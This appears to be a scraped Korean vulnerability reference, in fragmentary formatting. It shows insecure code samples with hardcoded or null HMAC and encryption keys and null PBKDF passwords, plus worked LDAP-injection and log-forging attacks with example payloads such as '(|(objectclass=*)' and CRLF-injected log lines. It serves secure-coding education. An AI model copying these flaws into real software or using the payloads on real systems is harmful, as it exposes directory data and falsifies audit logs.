secret_key_base: 0ab25e26286c4fb9f7335947994d83f19861354f19702b7bbb84e85310b287ba3cdc348f1f19c8cdc08a7c6c5ad2c20ad31ecda177d2c74aa2d48ec4a346c40e
...
...
DATA: lo_hmac TYPE Ref To cl_abap_hmac,
Input_string type string.
CALL METHOD cl_abap_hmac=>get_instance
EXPORTING
if_algorithm = 'SHA3'
if_key = 'secret_key'
RECEIVING
ro_object = lo_hmac.
" update HMAC with input
lo_hmac->update( if_data = input_string ).
" finalise hmac
lo_digest->final( ).
...
...
using (HMAC hmac = HMAC.Create("HMACSHA512"))
{
string hmacKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = Encoding.ASCII.GetBytes(hmacKey);
hmac.Key = keyBytes;
...
}
import "crypto/hmac"
...
hmac.New(sha256.New, []byte("secret"))
...
...
private static String hmacKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = hmacKey.getBytes();
...
SecretKeySpec key = new SecretKeySpec(keyBytes, "SHA1");
Mac hmac = Mac.getInstance("HmacSHA1");
hmac.init(key);
...
const hmacKey = "a secret";
const hmac = createHmac('sha256', hmacKey);
hmac.update(data);
...
hmacKey
를 변경할 수 있습니다. 비양심적인 직원이 이 정보에 대한 접근 권한을 갖게 되면 이를 사용하여 HMAC 함수를 손상시킬 수 있습니다.
...
CCHmac(kCCHmacAlgSHA256, "secret", 6, plaintext, plaintextLen, &output);
...
import hmac
...
mac = hmac.new("secret", plaintext).hexdigest()
...
...
digest = OpenSSL::HMAC.digest('sha256', 'secret_key', data)
...
...
CCHmac(UInt32(kCCHmacAlgSHA256), "secret", 6, plaintext, plaintextLen, &output)
...
...
Rfc2898DeriveBytes rdb = new Rfc2898DeriveBytes("password", salt,100000);
...
...
var encryptor = new StrongPasswordEncryptor();
var encryptedPassword = encryptor.encryptPassword("password");
...
const pbkdfPassword = "a secret";
crypto.pbkdf2(
pbkdfPassword,
salt,
numIterations,
keyLen,
hashAlg,
function (err, derivedKey) { ... }
)
...
CCKeyDerivationPBKDF(kCCPBKDF2,
"secret",
6,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...
...
$zip = new ZipArchive();
$zip->open("test.zip", ZipArchive::CREATE);
$zip->setEncryptionIndex(0, ZipArchive::EM_AES_256, "hardcodedpassword");
...
from hashlib import pbkdf2_hmac
...
dk = pbkdf2_hmac('sha256', 'password', salt, 100000)
...
...
key = OpenSSL::PKCS5::pbkdf2_hmac('password', salt, 100000, 256, 'SHA256')
...
...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
"secret",
6,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...
Null
암호화 키는 쉽게 해결할 수 없는 방식으로 보안을 침해할 수 있습니다.null
암호화 키를 사용하면 양호한 암호화 알고리즘을 통해 제공되는 보호 수준이 크게 감소할 뿐 아니라 문제 해결도 극도로 어렵게 만들기 때문에 좋은 방법이 아닙니다. 잘못된 코드가 운영 단계에 들어간 후 null
암호화 키를 변경하려면 소프트웨어 패치가 필요합니다. null
암호화 키로 보호되는 계정이 침해되면 시스템 소유자는 보안과 가용성 중 한 가지를 선택해야 합니다.null
암호화 키를 사용하여 AES 암호화를 수행합니다.
...
var encryptionKey:ByteArray = null;
...
var aes.ICipher = Crypto.getCipher("aes-cbc", encryptionKey, padding);
...
null
암호화 키가 사용되고 있음을 알 수 있을 뿐 아니라 기본적인 크랙 기법이라도 사용할 수 있는 사람이라면 누구나 암호화된 데이터를 성공적으로 해독할 가능성이 매우 높습니다. 응용 프로그램을 공개한 후에는 null
암호화 키를 변경하려면 소프트웨어 패치가 필요합니다. 직원이 이 정보에 대한 접근 권한을 갖게 되면 이를 사용하여 시스템에 침입할 수 있습니다. 공격자가 응용 프로그램의 실행 파일에만 접근할 수 있더라도 null
암호화 키의 사용 증거를 추출할 수 있습니다.Null
암호화 키는 쉽게 해결할 수 없는 방식으로 보안을 침해할 수 있습니다.null
암호화 키를 사용하는 것은 좋은 방법이 아닙니다. null
암호화 키를 사용하면 양호한 암호화 알고리즘을 통해 제공되는 보호 수준이 크게 감소할 뿐 아니라 문제 해결도 극도로 어려워집니다. 잘못된 코드가 운영 단계에 들어간 후 null
암호화 키를 변경하려면 소프트웨어 패치가 필요합니다. null
암호화 키로 보호되는 계정이 침해되면 시스템 소유자는 보안과 가용성 중 한 가지를 선택해야 합니다.null
암호화 키를 사용합니다.
...
char encryptionKey[] = null;
...
null
암호화 키가 사용되고 있음을 알 수 있을 뿐 아니라 기본적인 크랙 기법이라도 사용할 수 있는 사람이라면 누구나 암호화된 데이터를 성공적으로 해독할 가능성이 매우 높습니다. 프로그램을 공개한 후에는 null
암호화 키를 변경하려면 소프트웨어 패치가 필요합니다. 직원이 이 정보에 대한 접근 권한을 갖게 되면 이를 사용하여 시스템에 침입할 수 있습니다. 공격자가 응용 프로그램의 실행 파일에만 접근할 수 있더라도 null
암호화 키의 사용 증거를 추출할 수 있습니다.null
암호화 키를 사용하면 양호한 암호화 알고리즘을 통해 제공되는 보호 수준이 크게 감소할 뿐 아니라 문제 해결도 극도로 어렵게 만들기 때문에 좋은 방법이 아닙니다. 잘못된 코드가 운영 단계에 들어간 후 null
암호화 키를 변경하려면 소프트웨어 패치가 필요합니다. null
암호화 키로 보호되는 계정이 침해되면 시스템 소유자는 보안과 가용성 중 한 가지를 선택해야 합니다.null
암호화 키를 사용하여 AES 암호화를 수행합니다.
...
aes.NewCipher(nil)
...
null
암호화 키가 사용되고 있음을 확인할 수 있습니다. 또한 기본적인 크랙 기법이라도 사용할 수 있는 사용자는 암호화된 데이터를 성공적으로 해독할 가능성이 매우 높습니다. 응용 프로그램을 공개한 후에는 null
암호화 키를 변경하려면 소프트웨어 패치가 필요합니다. 직원이 이 정보에 대한 접근 권한을 갖게 되면 이를 사용하여 시스템에 침입할 수 있습니다. 공격자가 응용 프로그램의 실행 파일에만 접근할 수 있더라도 null
암호화 키의 사용 증거를 추출할 수 있습니다.null
암호화 키를 사용하면 양호한 암호화 알고리즘을 통해 제공되는 보호 수준이 크게 감소할 뿐 아니라 문제 해결도 극도로 어렵게 만들기 때문에 좋은 방법이 아닙니다. 잘못된 코드가 운영 단계에 들어간 후 null
암호화 키를 변경하려면 소프트웨어 패치가 필요합니다. null
암호화 키로 보호되는 계정이 침해되면 시스템 소유자는 보안과 가용성 중 한 가지를 선택해야 합니다.null
암호화 키를 사용하여 AES 암호화를 수행합니다.
...
SecretKeySpec key = null;
....
Cipher encryptCipher = Cipher.getInstance("AES");
encryptCipher.init(Cipher.ENCRYPT_MODE, key);
...
null
암호화 키가 사용되고 있음을 알 수 있을 뿐 아니라 기본적인 크랙 기법이라도 사용할 수 있는 사람이라면 누구나 암호화된 데이터를 성공적으로 해독할 가능성이 매우 높습니다. 응용 프로그램을 공개한 후에는 null
암호화 키를 변경하려면 소프트웨어 패치가 필요합니다. 직원이 이 정보에 대한 접근 권한을 갖게 되면 이를 사용하여 시스템에 침입할 수 있습니다. 공격자가 응용 프로그램의 실행 파일에만 접근할 수 있더라도 null
암호화 키의 사용 증거를 추출할 수 있습니다.null
암호화 키를 사용하면 양호한 암호화 알고리즘을 통해 제공되는 보호 수준이 크게 감소할 뿐 아니라 문제 해결도 극도로 어렵게 만들기 때문에 좋은 방법이 아닙니다. 잘못된 코드가 운영 단계에 들어간 후 null
암호화 키를 변경하려면 소프트웨어 패치가 필요합니다. null
암호화 키로 보호되는 계정이 침해되면 시스템 소유자는 보안과 가용성 중 한 가지를 선택해야 합니다.null
암호화 키를 사용하여 AES 암호화를 수행합니다.
...
var crypto = require('crypto');
var encryptionKey = null;
var algorithm = 'aes-256-ctr';
var cipher = crypto.createCipher(algorithm, encryptionKey);
...
null
암호화 키가 사용되고 있음을 알 수 있을 뿐 아니라 기본적인 크랙 기법이라도 사용할 수 있는 사람이라면 누구나 암호화된 데이터를 성공적으로 해독할 가능성이 매우 높습니다. 응용 프로그램을 공개한 후에는 null
암호화 키를 변경하려면 소프트웨어 패치가 필요합니다. 직원이 이 정보에 대한 접근 권한을 갖게 되면 이를 사용하여 시스템에 침입할 수 있습니다. 공격자가 응용 프로그램의 실행 파일에만 접근할 수 있더라도 null
암호화 키의 사용 증거를 추출할 수 있습니다.null
암호화 키를 사용하면 양호한 암호화 알고리즘을 통해 제공되는 보호 수준이 크게 감소할 뿐 아니라 문제 해결도 극도로 어렵게 만들기 때문에 좋은 방법이 아닙니다. 잘못된 코드가 운영 단계에 들어간 후 null
암호화 키를 변경하려면 소프트웨어 패치가 필요합니다. null
암호화 키로 보호되는 계정이 침해되면 시스템 소유자는 보안과 가용성 중 한 가지를 선택해야 합니다.null
암호화 키를 사용하여 AES 암호화를 수행합니다.
...
CCCrypt(kCCEncrypt,
kCCAlgorithmAES,
kCCOptionPKCS7Padding,
nil,
0,
iv,
plaintext,
sizeof(plaintext),
ciphertext,
sizeof(ciphertext),
&numBytesEncrypted);
...
null
암호화 키가 사용되고 있음을 알 수 있을 뿐 아니라 기본적인 크랙 기법이라도 사용할 수 있는 사람이라면 누구나 암호화된 데이터를 성공적으로 해독할 가능성이 매우 높습니다. 응용 프로그램을 공개한 후에는 null
암호화 키를 변경하려면 소프트웨어 패치가 필요합니다. 직원이 이 정보에 대한 접근 권한을 갖게 되면 이를 사용하여 시스템에 침입할 수 있습니다. 공격자가 응용 프로그램의 실행 파일에만 접근할 수 있더라도 null
암호화 키의 사용 증거를 추출할 수 있습니다.null
을 암호화 키 변수로 지정하는 것은 공격자에게 민감하고 암호화된 정보를 노출시킬 수 있으므로 잘못된 방법입니다. null
암호화 키를 사용하면 양호한 암호화 알고리즘을 통해 제공되는 보호 수준이 크게 감소할 뿐 아니라 문제 해결도 극도로 어려워집니다. 잘못된 코드가 운영 단계에 들어간 후 null
암호화 키를 변경하려면 소프트웨어 패치가 필요합니다. null
암호화 키로 보호되는 계정이 침해되면 시스템 소유자는 보안과 가용성 중 한 가지를 선택해야 합니다.null
로 초기화합니다.
...
$encryption_key = NULL;
$filter = new Zend_Filter_Encrypt($encryption_key);
$filter->setVector('myIV');
$encrypted = $filter->filter('text_to_be_encrypted');
print $encrypted;
...
null
암호화 키가 사용되고 있음을 알 수 있을 뿐 아니라 기본적인 크랙 기법이라도 사용할 수 있는 사람이는 누구든지 암호화된 데이터를 성공적으로 해독할 가능성이 매우 높습니다. 프로그램을 공개한 후에는 null
암호화 키를 변경하려면 소프트웨어 패치가 필요합니다. 직원이 이 정보에 대한 접근 권한을 갖게 되면 이를 사용하여 시스템에 침입할 수 있습니다. 공격자가 응용 프로그램의 실행 파일에만 접근할 수 있더라도 null
암호화 키의 사용 증거를 추출할 수 있습니다.null
암호화 키를 사용하면 양호한 암호화 알고리즘을 통해 제공되는 보호 수준이 크게 감소할 뿐 아니라 문제 해결도 극도로 어렵게 만들기 때문에 좋은 방법이 아닙니다. 잘못된 코드가 운영 단계에 들어간 후 null
암호화 키를 변경하려면 소프트웨어 패치가 필요합니다. null
암호화 키로 보호되는 계정이 침해되면 시스템 소유자는 보안과 가용성 중 한 가지를 선택해야 합니다.null
암호화 키가 사용되고 있음을 알 수 있을 뿐 아니라 기본적인 크랙 기법이라도 사용할 수 있는 사람이라면 누구나 암호화된 데이터를 성공적으로 해독할 가능성이 매우 높습니다. 응용 프로그램을 공개한 후에는 null
암호화 키를 변경하려면 소프트웨어 패치가 필요합니다. 직원이 이 정보에 대한 접근 권한을 갖게 되면 이를 사용하여 시스템에 침입할 수 있습니다. 공격자가 응용 프로그램의 실행 파일에만 접근할 수 있더라도 null
암호화 키의 사용 증거를 추출할 수 있습니다.None
을 암호화 키 변수로 지정하는 것은 공격자에게 민감하고 암호화된 정보를 노출시킬 수 있으므로 잘못된 방법입니다. null
암호화 키를 사용하면 양호한 암호화 알고리즘을 통해 제공되는 보호 수준이 크게 감소할 뿐 아니라 문제 해결도 극도로 어려워집니다. 잘못된 코드가 운영 단계에 들어간 후 null
암호화 키를 변경하려면 소프트웨어 패치가 필요합니다. null
암호화 키로 보호되는 계정이 침해되면 시스템 소유자는 보안과 가용성 중 한 가지를 선택해야 합니다.null
로 초기화합니다.
...
from Crypto.Ciphers import AES
cipher = AES.new(None, AES.MODE_CFB, iv)
msg = iv + cipher.encrypt(b'Attack at dawn')
...
null
암호화 키가 사용되고 있음을 알 수 있을 뿐 아니라 기본적인 크랙 기법이라도 사용할 수 있는 사람이는 누구든지 암호화된 데이터를 성공적으로 해독할 가능성이 매우 높습니다. 프로그램을 공개한 후에는 null
암호화 키를 변경하려면 소프트웨어 패치가 필요합니다. 직원이 이 정보에 대한 접근 권한을 갖게 되면 이를 사용하여 시스템에 침입할 수 있습니다. 공격자가 응용 프로그램의 실행 파일에만 접근할 수 있더라도 null
암호화 키의 사용 증거를 추출할 수 있습니다.null
암호화 키를 사용하는 것은 좋은 방법이 아닙니다. null
암호화 키를 사용하면 양호한 암호화 알고리즘을 통해 제공되는 보호 수준이 크게 감소할 뿐 아니라 문제 해결도 극도로 어려워집니다. 잘못된 코드가 운영 단계에 들어간 후 null
암호화 키를 변경하려면 소프트웨어 패치가 필요합니다. null
암호화 키로 보호되는 계정이 침해되면 시스템 소유자는 보안과 가용성 중 한 가지를 선택해야 합니다.null
암호화 키가 사용되고 있음을 알 수 있을 뿐 아니라 기본적인 크랙 기법이라도 사용할 수 있는 사람이는 누구든지 암호화된 데이터를 성공적으로 해독할 가능성이 매우 높습니다. 프로그램을 공개한 후에는 null
암호화 키를 변경하려면 소프트웨어 패치가 필요합니다. 직원이 이 정보에 대한 접근 권한을 갖게 되면 이를 사용하여 시스템에 침입할 수 있습니다. 공격자가 응용 프로그램의 실행 파일에만 접근할 수 있더라도 null
암호화 키의 사용 증거를 추출할 수 있습니다.Null
암호화 키는 쉽게 해결할 수 없는 방식으로 보안을 침해할 수 있습니다.null
암호화 키를 사용하는 것은 좋은 방법이 아닙니다. null
암호화 키를 사용하면 양호한 암호화 알고리즘을 통해 제공되는 보호 수준이 크게 감소할 뿐 아니라 문제 해결도 극도로 어려워집니다. 잘못된 코드가 운영 단계에 들어간 후 null
암호화 키를 변경하려면 소프트웨어 패치가 필요합니다. null
암호화 키로 보호되는 계정이 침해되면 시스템 소유자는 보안과 가용성 중 한 가지를 선택해야 합니다.null
암호화 키를 사용하여 AES 암호화를 수행합니다.
...
CCCrypt(UInt32(kCCEncrypt),
UInt32(kCCAlgorithmAES128),
UInt32(kCCOptionPKCS7Padding),
nil,
0,
iv,
plaintext,
plaintext.length,
ciphertext.mutableBytes,
ciphertext.length,
&numBytesEncrypted)
...
null
암호화 키가 사용되고 있음을 알 수 있을 뿐 아니라 기본적인 크랙 기법이라도 사용할 수 있는 사람이라면 누구나 암호화된 데이터를 성공적으로 해독할 가능성이 매우 높습니다. 프로그램을 공개한 후에는 null
암호화 키를 변경하려면 소프트웨어 패치가 필요합니다. 직원이 이 정보에 대한 접근 권한을 갖게 되면 이를 사용하여 시스템에 침입할 수 있습니다. 공격자가 응용 프로그램의 실행 파일에만 접근할 수 있더라도 null
암호화 키의 사용 증거를 추출할 수 있습니다.null
암호화 키를 사용하면 양호한 암호화 알고리즘을 통해 제공되는 보호 수준이 크게 감소할 뿐 아니라 문제 해결도 극도로 어렵게 만들기 때문에 좋은 방법이 아닙니다. 잘못된 코드가 운영 단계에 들어간 후 null
암호화 키를 변경하려면 소프트웨어 패치가 필요합니다. null
암호화 키로 보호되는 계정이 침해되면 시스템 소유자는 보안과 가용성 중 한 가지를 선택해야 합니다.null
암호화 키를 사용하여 AES 암호화를 수행합니다.
...
Dim encryptionKey As String
Set encryptionKey = vbNullString
Dim AES As New System.Security.Cryptography.RijndaelManaged
On Error GoTo ErrorHandler
AES.Key = System.Text.Encoding.ASCII.GetBytes(encryptionKey)
...
Exit Sub
...
null
암호화 키가 사용되고 있음을 알 수 있을 뿐 아니라 기본적인 크랙 기법이라도 사용할 수 있는 사람이라면 누구나 암호화된 데이터를 성공적으로 해독할 가능성이 매우 높습니다. 응용 프로그램을 공개한 후에는 null
암호화 키를 변경하려면 소프트웨어 패치가 필요합니다. 직원이 이 정보에 대한 접근 권한을 갖게 되면 이를 사용하여 시스템에 침입할 수 있습니다. 공격자가 응용 프로그램의 실행 파일에만 접근할 수 있더라도 null
암호화 키의 사용 증거를 추출할 수 있습니다.null
암호를 기반으로 암호화 키를 생성하여 사용하면 쉽게 해결할 수 없는 방식으로 시스템 보안을 손상시킬 수 있습니다.null
값을 전달하는 것은 좋은 방법이 아닙니다. 이 경우, 결과로 파생되는 키는 제공된 솔트만을 기반으로 하게 되어 크게 약해지며 문제를 해결하기도 극도로 어렵습니다. 잘못된 코드가 운영 단계에 들어간 후에는 소프트웨어 패치 없이는 null
암호를 변경할 수 없는 경우가 많습니다. null
비밀번호를 토대로 파생된 키를 통해 보호되는 계정이 침해되면 시스템 소유자는 보안과 가용성 중 한 가지를 선택할 수밖에 없습니다.null
값을 전달합니다.
...
var encryptor = new StrongPasswordEncryptor();
var encryptedPassword = encryptor.encryptPassword(null);
...
null
암호 인수를 기반으로 하나 이상의 암호화 키가 생성된다는 것을 알아차릴 수 있을 뿐 아니라, 기본적인 크랙 기법이라도 사용할 수 있는 사용자는 누구든지 잘못된 키를 통해 보호되는 리소스에 성공적으로 접근할 수 있는 가능성이 매우 높습니다. 공격자가 null
암호를 기반으로 하는 키를 생성하는 데 사용되는 솔트 값에도 접근할 수 있는 경우 이러한 키를 크랙하는 것은 하찮은 일에 불과합니다. 프로그램을 공개한 후에는 프로그램에 패치를 적용해야만 null
암호를 변경할 수 있습니다. 직원이 이 정보에 대한 접근 권한을 갖게 되면 이를 사용하여 시스템에 침입할 수 있습니다. 공격자가 응용 프로그램의 실행 파일에만 접근할 수 있더라도 null
암호의 사용 증거를 추출할 수 있습니다.null
암호를 기반으로 암호화 키를 생성하여 사용하면 쉽게 해결할 수 없는 방식으로 시스템 보안을 손상시킬 수 있습니다.null
값을 전달하는 것은 좋은 방법이 아닙니다. 이 경우, 결과로 파생되는 키는 제공된 솔트만을 기반으로 하게 되어 크게 약해지며 문제를 해결하기도 극도로 어렵습니다. 잘못된 코드가 운영 단계에 들어간 후에는 소프트웨어 패치 없이는 null
암호를 변경할 수 없는 경우가 많습니다. null
비밀번호를 토대로 파생된 키를 통해 보호되는 계정이 침해되면 시스템 소유자는 보안과 가용성 중 한 가지를 선택할 수밖에 없습니다.null
값을 전달합니다.
...
CCKeyDerivationPBKDF(kCCPBKDF2,
nil,
0,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...
null
암호 인수를 기반으로 하나 이상의 암호화 키가 생성된다는 것을 알아차릴 수 있을 뿐 아니라, 기본적인 크랙 기법이라도 사용할 수 있는 사용자는 누구든지 잘못된 키를 통해 보호되는 리소스에 성공적으로 접근할 수 있는 가능성이 매우 높습니다. 공격자가 null
암호를 기반으로 하는 키를 생성하는 데 사용되는 솔트 값에도 접근할 수 있는 경우 이러한 키를 크랙하는 것은 하찮은 일에 불과합니다. 프로그램을 공개한 후에는 프로그램에 패치를 적용해야만 null
암호를 변경할 수 있습니다. 직원이 이 정보에 대한 접근 권한을 갖게 되면 이를 사용하여 시스템에 침입할 수 있습니다. 공격자가 응용 프로그램의 실행 파일에만 접근할 수 있더라도 null
암호의 사용 증거를 추출할 수 있습니다.null
암호를 기반으로 암호화 키를 생성하여 사용하면 쉽게 해결할 수 없는 방식으로 시스템 보안을 손상시킬 수 있습니다.null
값을 전달하는 것은 좋은 방법이 아닙니다. 이 경우, 결과로 파생되는 키는 제공된 솔트만을 기반으로 하게 되어 크게 약해지며 문제를 해결하기도 극도로 어렵습니다. 잘못된 코드가 운영 단계에 들어간 후에는 소프트웨어 패치 없이는 null
암호를 변경할 수 없는 경우가 많습니다. null
비밀번호를 토대로 파생된 키를 통해 보호되는 계정이 침해되면 시스템 소유자는 보안과 가용성 중 한 가지를 선택할 수밖에 없습니다.null
값을 전달합니다.
...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
nil,
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...
null
암호 인수를 기반으로 하나 이상의 암호화 키가 생성된다는 것을 알아차릴 수 있을 뿐 아니라, 기본적인 크랙 기법이라도 사용할 수 있는 사용자는 누구든지 잘못된 키를 통해 보호되는 리소스에 성공적으로 접근할 수 있는 가능성이 매우 높습니다. 공격자가 null
암호를 기반으로 하는 키를 생성하는 데 사용되는 솔트 값에도 접근할 수 있는 경우 이러한 키를 크랙하는 것은 하찮은 일에 불과합니다. 프로그램을 공개한 후에는 프로그램에 패치를 적용해야만 null
암호를 변경할 수 있습니다. 직원이 이 정보에 대한 접근 권한을 갖게 되면 이를 사용하여 시스템에 침입할 수 있습니다. 공격자가 응용 프로그램의 실행 파일에만 접근할 수 있더라도 null
암호의 사용 증거를 추출할 수 있습니다.search
메서드로 전달되는 javax.naming.directory.SearchControls
인스턴스에서 returningObjectFlag
를 true
로 설정하거나 이 플래그를 대신 설정해 주는 라이브러리 함수를 사용하여 개체 반환 검색을 수행합니다.
<beans ... >
<authentication-manager>
<ldap-authentication-provider
user-search-filter="(uid={0})"
user-search-base="ou=users,dc=example,dc=org"
group-search-filter="(uniqueMember={0})"
group-search-base="ou=groups,dc=example,dc=org"
group-role-attribute="cn"
role-prefix="ROLE_">
</ldap-authentication-provider>
</authentication-manager>
</beans>
...
DirectorySearcher src =
new DirectorySearcher("(manager=" + managerName.Text + ")");
src.SearchRoot = de;
src.SearchScope = SearchScope.Subtree;
foreach(SearchResult res in src.FindAll()) {
...
}
(manager=Smith, John)
managerName
에 LDAP 메타 문자가 들어 있지 않은 경우에만 정확하게 동작합니다. 공격자가 managerName
에 Hacker, Wiley)(|(objectclass=*)
문자열을 입력하면 쿼리는 다음과 같습니다.
(manager=Hacker, Wiley)(|(objectclass=*))
|(objectclass=*)
조건을 추가하면 필터가 디렉터리의 모든 항목과 일치되며 공격자가 전체 사용자 풀에 대한 정보를 검색할 수 있습니다. LDAP 쿼리를 수행하는 권한에 따라 이 공격의 범위가 제한될 수도 있지만, 공격자가 쿼리의 명령 구조를 제어할 수 있을 경우, 그러한 공격은 LDAP 쿼리를 실행하는 사용자가 접근할 수 있는 모든 레코드에 영향을 줄 수 있습니다.
fgets(manager, sizeof(manager), socket);
snprintf(filter, sizeof(filter, "(manager=%s)", manager);
if ( ( rc = ldap_search_ext_s( ld, FIND_DN, LDAP_SCOPE_BASE,
filter, NULL, 0, NULL, NULL, LDAP_NO_LIMIT,
LDAP_NO_LIMIT, &result ) ) == LDAP_SUCCESS ) {
...
}
(manager=Smith, John)
manager
에 LDAP 메타 문자가 들어 있지 않은 경우에만 정확하게 동작합니다. 공격자가 manager
에 Hacker, Wiley)(|(objectclass=*)
문자열을 입력하면 쿼리는 다음과 같습니다.
(manager=Hacker, Wiley)(|(objectclass=*))
|(objectclass=*)
조건을 추가하면 필터가 디렉터리의 모든 항목과 일치되며 공격자가 전체 사용자 풀에 대한 정보를 검색할 수 있습니다. LDAP 쿼리를 수행하는 권한에 따라 이 공격의 범위가 제한될 수도 있지만, 공격자가 쿼리의 명령 구조를 제어할 수 있을 경우, 그러한 공격은 LDAP 쿼리를 실행하는 사용자가 접근할 수 있는 모든 레코드에 영향을 줄 수 있습니다.
...
DirContext ctx = new InitialDirContext(env);
String managerName = request.getParameter("managerName");
//retrieve all of the employees who report to a manager
String filter = "(manager=" + managerName + ")";
NamingEnumeration employees = ctx.search("ou=People,dc=example,dc=com",
filter);
...
(manager=Smith, John)
managerName
에 LDAP 메타 문자가 들어 있지 않은 경우에만 정확하게 동작합니다. 공격자가 managerName
에 Hacker, Wiley)(|(objectclass=*)
문자열을 입력하면 쿼리는 다음과 같습니다.
(manager=Hacker, Wiley)(|(objectclass=*))
|(objectclass=*)
조건을 추가하면 필터가 디렉터리의 모든 항목과 일치되며 공격자가 전체 사용자 풀에 대한 정보를 검색할 수 있습니다. LDAP 쿼리를 수행하는 권한에 따라 이 공격의 범위가 제한될 수도 있지만, 공격자가 쿼리의 명령 구조를 제어할 수 있을 경우, 그러한 공격은 LDAP 쿼리를 실행하는 사용자가 접근할 수 있는 모든 레코드에 영향을 줄 수 있습니다.
...
$managerName = $_POST["managerName"]];
//retrieve all of the employees who report to a manager
$filter = "(manager=" . $managerName . ")";
$result = ldap_search($ds, "ou=People,dc=example,dc=com", $filter);
...
(manager=Smith, John)
managerName
에 LDAP 메타 문자가 들어 있지 않은 경우에만 정확하게 동작합니다. 공격자가 managerName
에 Hacker, Wiley)(|(objectclass=*)
문자열을 입력하면 쿼리는 다음과 같습니다.
(manager=Hacker, Wiley)(|(objectclass=*))
|(objectclass=*)
조건을 추가하면 필터가 디렉터리의 모든 항목과 일치되며 공격자가 전체 사용자 풀에 대한 정보를 검색할 수 있습니다. LDAP 쿼리를 수행하는 권한에 따라 이 공격의 범위가 제한될 수도 있지만, 공격자가 쿼리의 명령 구조를 제어할 수 있을 경우, 그러한 공격은 LDAP 쿼리를 실행하는 사용자가 액세스할 수 있는 모든 레코드에 영향을 줄 수 있습니다.ou
문자열을 읽고 이를 사용하여 새로운 DirectoryEntry
를 생성합니다.
...
de = new DirectoryEntry("LDAP://ad.example.com:389/ou="
+ hiddenOU.Text + ",dc=example,dc=com");
...
ou
값을 지정하여 쿼리 결과를 수정할 수 있습니다. 문제는 개발자가 이후의 쿼리를 제한하여 현재 사용자에게 읽기가 허용된 직원 레코드에만 접근하는 데 필수적인 적합한 액세스 제어 메커니즘을 이용하지 못했다는 점입니다.dn
문자열을 읽어 이를 사용하여 LDAP 쿼리를 수행합니다.
...
rc = ldap_simple_bind_s( ld, NULL, NULL );
if ( rc != LDAP_SUCCESS ) {
...
}
...
fgets(dn, sizeof(dn), socket);
if ( ( rc = ldap_search_ext_s( ld, dn, LDAP_SCOPE_BASE,
filter, NULL, 0, NULL, NULL, LDAP_NO_LIMIT,
LDAP_NO_LIMIT, &result ) ) != LDAP_SUCCESS ) {
...
dn
문자열을 지정하여 쿼리 결과를 수정할 수 있습니다. 문제는 개발자가 이후의 쿼리를 제한하여 현재 사용자에게 읽기가 허용된 직원 레코드에만 접근하는 데 필수적인 적합한 액세스 제어 메커니즘을 이용하지 못했다는 점입니다.
env.put(Context.SECURITY_AUTHENTICATION, "none");
DirContext ctx = new InitialDirContext(env);
String empID = request.getParameter("empID");
try
{
BasicAttribute attr = new BasicAttribute("empID", empID);
NamingEnumeration employee =
ctx.search("ou=People,dc=example,dc=com",attr);
...
dn
문자열을 읽어 이를 사용하여 LDAP 쿼리를 수행합니다.
$dn = $_POST['dn'];
if (ldap_bind($ds)) {
...
try {
$rs = ldap_search($ds, $dn, "ou=People,dc=example,dc=com", $attr);
...
dn
이 사용자 입력에서 오고 쿼리가 익명의 바인딩에서 수행되므로 공격자는 예상치 못한 dn 문자열을 지정하여 쿼리 결과를 수정할 수 있습니다. 문제는 개발자가 이후의 쿼리를 제한하여 현재 사용자에게 읽기가 허용된 직원 레코드에만 접근하는 데 필수적인 적합한 액세스 제어 메커니즘을 이용하지 못했다는 점입니다.
...
DATA log_msg TYPE bal_s_msg.
val = request->get_form_field( 'val' ).
log_msg-msgid = 'XY'.
log_msg-msgty = 'E'.
log_msg-msgno = '123'.
log_msg-msgv1 = 'VAL: '.
log_msg-msgv2 = val.
CALL FUNCTION 'BAL_LOG_MSG_ADD'
EXPORTING
I_S_MSG = log_msg
EXCEPTIONS
LOG_NOT_FOUND = 1
MSG_INCONSISTENT = 2
LOG_IS_FULL = 3
OTHERS = 4.
...
val
에 문자열 "FOO
"을 전송하면 다음 항목이 기록됩니다.
XY E 123 VAL: FOO
FOO XY E 124 VAL: BAR
" 문자열을 전송하는 경우 다음 항목이 기록됩니다.
XY E 123 VAL: FOO XY E 124 VAL: BAR
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var val:String = String(params["username"]);
var value:Number = parseInt(val);
if (value == Number.NaN) {
trace("Failed to parse val = " + val);
}
val
에 문자열 "twenty-one
"을 전송하면 다음 항목이 기록됩니다.
Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
" 문자열을 전송하는 경우 다음 항목이 기록됩니다.
Failed to parse val=twenty-one
User logged out=badguy
...
string val = (string)Session["val"];
try {
int value = Int32.Parse(val);
}
catch (FormatException fe) {
log.Info("Failed to parse val= " + val);
}
...
val
에 문자열 "twenty-one
"을 전송하면 다음 항목이 기록됩니다.
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
" 문자열을 전송하는 경우 다음 항목이 기록됩니다.
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
syslog(LOG_INFO,"Illegal value = %s",val);
...
val
에 문자열 "twenty-one
"을 전송하면 다음 항목이 기록됩니다.
Illegal value=twenty-one
twenty-one\n\nINFO: User logged out=evil
" 문자열을 전송하는 경우 다음 항목이 기록됩니다.
INFO: Illegal value=twenty-one
INFO: User logged out=evil
...
01 LOGAREA.
05 VALHEADER PIC X(50) VALUE 'VAL: '.
05 VAL PIC X(50).
...
EXEC CICS
WEB READ
FORMFIELD(NAME)
VALUE(VAL)
...
END-EXEC.
EXEC DLI
LOG
FROM(LOGAREA)
LENGTH(50)
END-EXEC.
...
VAL
에 문자열 "FOO
"을 전송하면 다음 항목이 기록됩니다.
VAL: FOO
FOO VAL: BAR
" 문자열을 전송하는 경우 다음 항목이 기록됩니다.
